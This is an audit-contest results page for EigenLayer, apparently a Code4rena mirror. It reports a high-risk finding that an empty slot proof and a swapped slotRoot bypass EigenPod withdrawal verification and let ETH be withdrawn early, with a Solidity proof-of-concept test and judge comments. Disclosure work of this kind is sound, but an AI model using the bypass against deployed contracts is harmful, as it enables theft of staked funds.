EigenLayer Contest - windowhan001's results

Enabling restaking of staked Ether, to be used as cryptoeconomic security for decentralized protocols and applications.

General Information

Platform: Code4rena

Start Date: 27/04/2023

Pot Size: $90,500 USDC

Total HM: 4

Participants: 43

Period: 7 days

Judge: GalloDaSballo

Id: 233

League: ETH

EigenLayer

Findings Distribution

Researcher Performance

Rank: 3/43

Findings: 1

Award: $5,031.50

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: 0xTheC0der

Also found by: volodya, windowhan001

Labels

bug
3 (High Risk)
partial-50
sponsor disputed
duplicate-388

Awards

5031.5008 USDC - $5,031.50

External Links

Lines of code

https://github.com/code-423n4/2023-04-eigenlayer/blob/5e4872358cd2bda1936c29f460ece2308af4def6/src/contracts/pods/EigenPod.sol#L340-L358 https://github.com/code-423n4/2023-04-eigenlayer/blob/5e4872358cd2bda1936c29f460ece2308af4def6/src/contracts/libraries/BeaconChainProofs.sol#L245-L294

Vulnerability details

Impact

Below is a portion of the verifyAndProcessWithdrawal function.

// Verifying the withdrawal as well as the slot
        BeaconChainProofs.verifyWithdrawalProofs(beaconStateRoot, withdrawalProofs, withdrawalFields);
        // Verifying the validator fields, specifically the withdrawable epoch
        BeaconChainProofs.verifyValidatorFields(validatorIndex, beaconStateRoot, validatorFieldsProof, validatorFields);

        uint64 withdrawalAmountGwei = Endian.fromLittleEndianUint64(withdrawalFields[BeaconChainProofs.WITHDRAWAL_VALIDATOR_AMOUNT_INDEX]);

        //check if the withdrawal occured after mostRecentWithdrawalBlockNumber
        uint64 slot = Endian.fromLittleEndianUint64(withdrawalProofs.slotRoot);

        /**
         * if the validator's withdrawable epoch is less than or equal to the slot's epoch, then the validator has fully withdrawn because
         * a full withdrawal is only processable after the withdrawable epoch has passed.
         */
        // reference: uint64 withdrawableEpoch = Endian.fromLittleEndianUint64(validatorFields[BeaconChainProofs.VALIDATOR_WITHDRAWABLE_EPOCH_INDEX]);
        if (Endian.fromLittleEndianUint64(validatorFields[BeaconChainProofs.VALIDATOR_WITHDRAWABLE_EPOCH_INDEX]) <= slot/BeaconChainProofs.SLOTS_PER_EPOCH) {
            _processFullWithdrawal(withdrawalAmountGwei, validatorIndex, beaconChainETHStrategyIndex, podOwner, validatorStatus[validatorIndex]);
        } else {
            _processPartialWithdrawal(slot, withdrawalAmountGwei, validatorIndex, podOwner);
        }

withdrawalProofs is used once as a parameter to the verifyWithdrawalProofs function, and withdrawalProofs.slot is a value that can determine whether to run the _processFullWithdrawal or _processPartialWithdrawal function.

Consider the fullWithdrawalProof.json given as test data.

"slotRoot": "0xd6a8000000000000000000000000000000000000000000000000000000000000", "blockHeaderRoot": "0x180e63f75d01ca01a056dfc42dc3a30d0775e1da8e51001fbb2a3d68d96c5f14", // changed slotRoot "ValidatorFields": [ "0x2c58c7f513dab2de353f008ddaf054749e80709b8ec1f397011773c7b29cd950", "0x01000000000000000000000085a0c86944b1d7e1119b7c93ad2b771480561ae3", "0x0000000000000000000000000000000000000000000000000000000000000000", "0x0000000000000000000000000000000000000000000000000000000000000000", "0xb301000000000000000000000000000000000000000000000000000000000000", "0x0c02000000000000000000000000000000000000000000000000000000000000", "0x6603000000000000000000000000000000000000000000000000000000000000", "0x6604000000000000000000000000000000000000000000000000000000000000" // validatorFields[BeaconChainProofs.VALIDATOR_WITHDRAWABLE_EPOCH_INDEX] ],

Based on the test data above, originally slotRoot/BeaconChainProofs.SLOTS_PER_EPOCH should be greater than validatorFields[BeaconChainProofs.VALIDATOR_WITHHDRAWABLE_EPOCH_INDEX] and the _processFullWithdrawal function should be executed. However, with the ability to manipulate the slotRoot, the _processPartialWithdrawal function can be executed, which means that ETH can be withdrawn immediately without any latency, even if it negatively affects the middleware.

I'm sorry for the lack of explanation, I was just looking for a vulnerability and writing a report while I was nearing the end of my time. If you need a detailed explanation, please call windowhan001 in the eigenlayer contest channel.

Proof of Concept

function testFullWithdrawalProof() public {
        setJSON("./src/test/test-data/fullWithdrawalProof.json");
        BeaconChainProofs.WithdrawalProofs memory proofs = _getWithdrawalProof();
        withdrawalFields = getWithdrawalFields();   
        validatorFields = getValidatorFields();

        Relayer relay = new Relayer();

        bytes32 beaconStateRoot = getBeaconStateRoot();
        relay.verifyWithdrawalProofs(beaconStateRoot, proofs, withdrawalFields);

}
...
function _getWithdrawalProof() internal returns(BeaconChainProofs.WithdrawalProofs memory) {
        //make initial deposit
        cheats.startPrank(podOwner);
        eigenPodManager.stake{value: stakeAmount}(pubkey, signature, depositDataRoot);
        cheats.stopPrank();

        
        {
            bytes32 beaconStateRoot = getBeaconStateRoot();
            //set beaconStateRoot
            beaconChainOracle.setBeaconChainStateRoot(beaconStateRoot);
            bytes32 blockHeaderRoot = getBlockHeaderRoot();
            bytes32 blockBodyRoot = getBlockBodyRoot();
            bytes32 slotRoot = getBlockHeaderRoot(); // Changed!!!!
            bytes32 blockNumberRoot = getBlockNumberRoot();
            bytes32 executionPayloadRoot = getExecutionPayloadRoot();



            uint256 withdrawalIndex = getWithdrawalIndex();
            uint256 blockHeaderRootIndex = getBlockHeaderRootIndex();


            BeaconChainProofs.WithdrawalProofs memory proofs = BeaconChainProofs.WithdrawalProofs(
                abi.encodePacked(getBlockHeaderProof()),
                abi.encodePacked(getWithdrawalProof()),
                abi.encodePacked(getSlotProof()),
                abi.encodePacked(getExecutionPayloadProof()),
                abi.encodePacked(getBlockNumberProof()),
                uint64(blockHeaderRootIndex),
                uint64(withdrawalIndex),
                blockHeaderRoot,
                blockBodyRoot,
                slotRoot,
                blockNumberRoot,
                executionPayloadRoot
            );
            return proofs;
        }
    }
...
function getSlotProof() public returns(bytes32[] memory){ // Changed!!!
        //for (uint i = 0; i < 3; i++) {
        //    prefix = string.concat(".SlotProof[", string.concat(vm.toString(i), "]"));
        //    slotProof[i] = (stdJson.readBytes32(proofConfigJson, prefix));
        //}
        bytes32[] memory emptyArray = new bytes32[](0);
        return emptyArray;
    }

Tools Used

Manual Audit

Assessed type

Context

#0 - c4-pre-sort

2023-05-09T13:25:22Z

0xSorryNotSorry marked the issue as primary issue

#1 - c4-sponsor

2023-05-12T00:10:27Z

Sidu28 marked the issue as sponsor disputed

#2 - Sidu28

2023-05-12T00:29:24Z

No method to manipulate the slot root was supplied as part of this report. It is checked against.

#3 - c4-judge

2023-06-01T11:35:04Z

GalloDaSballo marked the issue as unsatisfactory: Insufficient proof

#4 - GalloDaSballo

2023-06-01T11:35:12Z

Asking Warden to add more proof, closing in the meantime

#5 - c4-judge

2023-06-01T15:08:09Z

GalloDaSballo marked the issue as duplicate of #388

#6 - c4-judge

2023-06-01T15:08:20Z

GalloDaSballo marked the issue as partial-50

#7 - GalloDaSballo

2023-06-01T15:08:51Z

The warden forgot to say that you can pass an empty proof to pass the validation, but they did it in the POC

Awarding 50% because the finding was "saved" as a dup as the contents of this report alone were too obtuse

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter